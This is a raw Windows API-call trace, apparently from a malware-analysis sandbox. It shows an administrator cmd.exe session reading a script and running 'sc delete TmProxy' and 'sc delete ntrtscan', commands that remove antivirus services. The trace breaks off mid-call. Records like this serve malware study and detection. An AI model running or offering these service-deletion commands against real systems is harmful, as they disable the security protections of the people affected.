ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.928] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdb000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.928] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0074.001] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0074.001] CloseHandle (hObject=0x50) returned 1 [0074.001] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0074.001] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0074.001] GetProcessHeap () returned 0x4a0000 [0074.001] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0074.001] GetEnvironmentStringsW () returned 0x4c1b10* [0074.002] GetProcessHeap () returned 0x4a0000 [0074.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0074.002] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0074.002] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0074.002] GetProcessHeap () returned 0x4a0000 [0074.002] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0074.002] GetEnvironmentStringsW () returned 0x4c1b10* [0074.002] GetProcessHeap () returned 0x4a0000 [0074.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0074.002] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0074.002] GetProcessHeap () returned 0x4a0000 [0074.002] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0074.002] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0074.002] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0074.003] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.003] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0074.003] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.003] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0074.003] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.003] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0074.003] GetConsoleOutputCP () returned 0x1b5 [0074.003] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0074.003] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.004] GetProcessHeap () returned 0x4a0000 [0074.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0074.004] GetProcessHeap () returned 0x4a0000 [0074.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0074.004] GetProcessHeap () returned 0x4a0000 [0074.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0074.004] GetProcessHeap () returned 0x4a0000 [0074.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0074.004] GetProcessHeap () returned 0x4a0000 [0074.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0074.004] GetProcessHeap () returned 0x4a0000 [0074.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0074.004] GetProcessHeap () returned 0x4a0000 [0074.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0074.004] GetProcessHeap () returned 0x4a0000 [0074.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0074.004] GetProcessHeap () returned 0x4a0000 [0074.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0074.004] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0074.004] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.004] GetFileType (hFile=0x120) returned 0x3 [0074.005] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0074.005] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0074.005] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0074.005] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0074.005] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0074.005] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0074.005] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.005] GetFileType (hFile=0x120) returned 0x3 [0074.005] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0074.005] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0074.005] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.005] GetFileType (hFile=0xb8) returned 0x3 [0074.005] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.005] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.005] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.005] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.005] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.006] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.006] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.006] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.006] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.006] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.006] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.006] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.006] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.006] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.006] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.006] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.006] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.006] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.006] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.006] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.006] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.006] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.006] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.006] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.006] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.006] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.007] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.007] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.007] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.007] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.007] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.007] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.007] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.007] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.007] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.007] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.007] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.007] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.007] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.007] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.007] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.007] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.007] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.007] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="nmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.007] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.007] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.008] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.008] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="tProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.008] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.008] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.008] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.008] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="rroxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.008] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.008] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.008] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.008] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="toxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.008] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.008] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.008] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.008] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="sxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.008] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.008] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.008] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.008] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="cy\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.008] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.008] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.009] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.009] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="a\n\nnService\ne\n\n\nA\"\n") returned 1 [0074.009] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.009] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.009] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.009] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="n\nnService\ne\n\n\nA\"\n") returned 1 [0074.009] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.009] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.009] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.009] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="\nnService\ne\n\n\nA\"\n") returned 1 [0074.009] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.009] GetFileType (hFile=0xb8) returned 0x3 [0074.009] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.009] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.009] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.009] GetFileType (hFile=0x120) returned 0x3 [0074.009] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ntrtscan\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ntrtscan\n", lpUsedDefaultChar=0x0) returned 20 [0074.009] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x13, lpOverlapped=0x0) returned 1 [0074.010] GetProcessHeap () returned 0x4a0000 [0074.010] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0074.010] GetProcessHeap () returned 0x4a0000 [0074.010] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0074.010] GetProcessHeap () returned 0x4a0000 [0074.010] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0074.010] GetProcessHeap () returned 0x4a0000 [0074.010] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0074.010] GetProcessHeap () returned 0x4a0000 [0074.010] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6510 [0074.010] GetConsoleOutputCP () returned 0x1b5 [0074.010] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0074.010] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.010] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.011] GetProcessHeap () returned 0x4a0000 [0074.011] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0074.011] GetProcessHeap () returned 0x4a0000 [0074.011] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4b6550 [0074.011] GetProcessHeap () returned 0x4a0000 [0074.011] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0074.011] SetErrorMode (uMode=0x0) returned 0x1 [0074.011] SetErrorMode (uMode=0x1) returned 0x0 [0074.011] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0074.011] SetErrorMode (uMode=0x1) returned 0x1 [0074.011] GetProcessHeap () returned 0x4a0000 [0074.011] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0074.011] GetProcessHeap () returned 0x4a0000 [0074.011] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0074.011] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0074.011] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0074.011] GetProcessHeap () returned 0x4a0000 [0074.011] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0074.011] GetProcessHeap () returned 0x4a0000 [0074.011] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0074.011] GetProcessHeap () returned 0x4a0000 [0074.011] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0074.012] GetProcessHeap () returned 0x4a0000 [0074.012] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0074.012] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0074.012] GetProcessHeap () returned 0x4a0000 [0074.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0074.012] GetProcessHeap () returned 0x4a0000 [0074.012] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0074.012] GetProcessHeap () returned 0x4a0000 [0074.012] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0074.012] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.012] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0074.012] GetLastError () returned 0x2 [0074.012] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0074.012] GetLastError () returned 0x2 [0074.013] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.013] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, 